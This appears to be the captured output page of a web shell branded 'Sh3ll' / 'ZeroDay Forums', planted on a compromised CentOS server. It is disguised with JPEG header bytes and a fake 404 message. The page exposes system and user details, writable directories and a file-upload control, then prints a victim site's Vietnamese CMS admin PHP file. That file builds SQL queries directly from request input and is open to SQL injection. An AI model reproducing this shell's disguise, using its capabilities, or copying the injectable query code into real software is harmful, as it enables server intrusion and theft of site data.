ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/luckymerchan/code/admin/block/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/luckymerchan/code/admin/block/post_list.php
<?php
function showCategories_option($categories, $parent_id = 0, $char = '')
{
    foreach ($categories as $key => $item)
    {
        // Nếu là chuyên mục con thì hiển thị
        if ($item['menus_parentid'] == $parent_id)
        {
            echo '<option value="'.$item['menus_id'].'">';
            echo $char . $item['menus_name'];
            echo '</option>';
            // Xóa chuyên mục đã lặp
            unset($categories[$key]);
            // Tiếp tục đệ quy để tìm chuyên mục con của chuyên mục đang lặp
            showCategories_option($categories, $item['menus_id'], $char.'+');
        }
    }
}
$query = $DB->query("SELECT * FROM tb_menus WHERE menus_type='normal' ORDER BY `menus_pos` ASC");
$arr_menus = array();
while($row = $DB->fetch_row($query))
{
    $arr_menus[] = $row;
}

function showListMenus($categories, $parent_id = 0, $char = '',$arr_menu_check)
{
    // BƯỚC 2.1: LẤY DANH SÃCH CATE CON
    $cate_child = array();
    foreach ($categories as $key => $item)
    {
        // Nếu là chuyên mục con thì hiển thị
        if ($item['menus_parentid'] == $parent_id)
        {
            $cate_child[] = $item;
            unset($categories[$key]);
        }
    }

    // BƯỚC 2.2: HIỂN THỊ DANH SÃCH CHUYÊN MỤC CON NẾU CÓ
    if ($cate_child)
    {
        echo '<ul class="list-group" id="tree" style="font-size: 11px;">';
        foreach ($cate_child as $key => $item)
        {
            $checked= '';
            if(in_array($item['menus_id'],$arr_menu_check)){
                $checked = 'checked';
            }
            // Hiển thị tiêu đỠchuyên mục
            echo '<li class="list-group-item">
                <input type="checkbox" name="menus_id[]" value="'.$item['menus_id'].'" '.$checked.' /> '.$item['menus_name'];

            // Tiếp tục đệ quy để tìm chuyên mục con của chuyên mục đang lặp
            showListMenus($categories, $item['menus_id'], $char.' &nbsp; &nbsp; ',$arr_menu_check);
            echo '</li>';
        }
        echo '</ul>';
    }
}

$query = $DB->query("SELECT * FROM tb_menus WHERE menus_type='page' ORDER BY `menus_pos` ASC");
$arr_menus_page = array();
while($row = $DB->fetch_row($query))
{
    $arr_menus_page[] = $row;
}

$row_check = $DB->get_colum_tb('tb_block');
$block_id = 0;
if(isset($CORE->input['block_id']) && $CORE->input['block_id']>0){
    $block_id = $CORE->input['block_id'];
}
if($block_id>0){
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_block WHERE block_id='$block_id'"));
}

$arr_menu_check = array();
if($block_id==0){

}else{
    $q_menu = $DB->query("SELECT * FROM tb_block_page WHERE block_id='$block_id'");
    while ($r_menu = $DB->fetch_row($q_menu)){
        $arr_menu_check[] = $r_menu['menus_id'];
    }
}
$param_search = '';
$where = '';
if(isset($CORE->input['s'])){
    $s = $CORE->input['s'];
    foreach ($s as $key=>$val){
        if($val!='') {
            $param_search .= 's['.$key.']='.trim($val).'&';
            if($key=='menus_id'){
                $where .= " AND id IN (SELECT pages_id FROM tb_menus_pages WHERE menus_id='".$val."' ) ";
            }
            if($key=='status'){
                $where .= " AND status='".$val."' ";
            }
            if($key=='keyword'){
                $where .= " AND (title LIKE '%".$val."%' OR etitle LIKE '%".$val."%') ";
            }
        }
    }
}

$query = $DB->query("SELECT * FROM tb_pages WHERE 1 ".$where." ORDER BY `pos` ASC, `noibat` DESC, status ASC LIMIT 100");
$list = '';
$arr_detail = array();
if($row_check){
    $arr_detail = explode('@',$row_check['block_detail']);
}

while ($row = $DB->fetch_row($query)){
    $txt_select = '';
    if(in_array($row['id'],$arr_detail)){
        $txt_select = 'selected';
    }
    $list .= '<option value="'.$row['id'].'" '.$txt_select.'>'.$row['title'].'</option>';
}

if(isset($CORE->input['submitbt'])){
    $pages_id = $CORE->input['pages_id'];
    $menus_id = $CORE->input['menus_id'];
    $f = $CORE->input['f'];
    $txt_page_id = '';
    if(!empty($pages_id)){
        foreach ($pages_id as $val) {
            $txt_page_id .= $val.'@';
        }
    }
    if($f['block_id']>0){
        $block_id = $f['block_id'];
        $DB->query("UPDATE tb_block SET block_title ='".$f['block_title']."',block_etitle='".$f['block_etitle']."', 	block_detail='".$txt_page_id."' WHERE block_id='$block_id' ");
        //delete menu
        $DB->query("DELETE FROM tb_block_page WHERE block_id='$block_id' ");
        //insert menu
        $menus_id = $CORE->input['menus_id'];
        foreach ($menus_id as $val){
            $arr_insert2 = array('block_id'=>$block_id,'menus_id'=>$val);
            $DB->do_insert('tb_block_page',$arr_insert2);
        }
        $print->refresh('?act=admin&code=block&type=post_list&block_id='.$block_id);
    }else{
        $arr_insert = array('block_title'=>$f['block_title'],'block_etitle'=>$f['block_etitle'],'block_type'=>2,'block_detail'=>$txt_page_id);
        $block_id = $DB->do_insert('tb_block',$arr_insert);

        //insert menu
        $menus_id = $CORE->input['menus_id'];
        foreach ($menus_id as $val){
            $arr_insert2 = array('block_id'=>$block_id,'menus_id'=>$val);
            $DB->do_insert('tb_block_page',$arr_insert2);
        }

    }

    $print->refresh('?act=admin&code=block');
}
?>

ZeroDay Forums Mini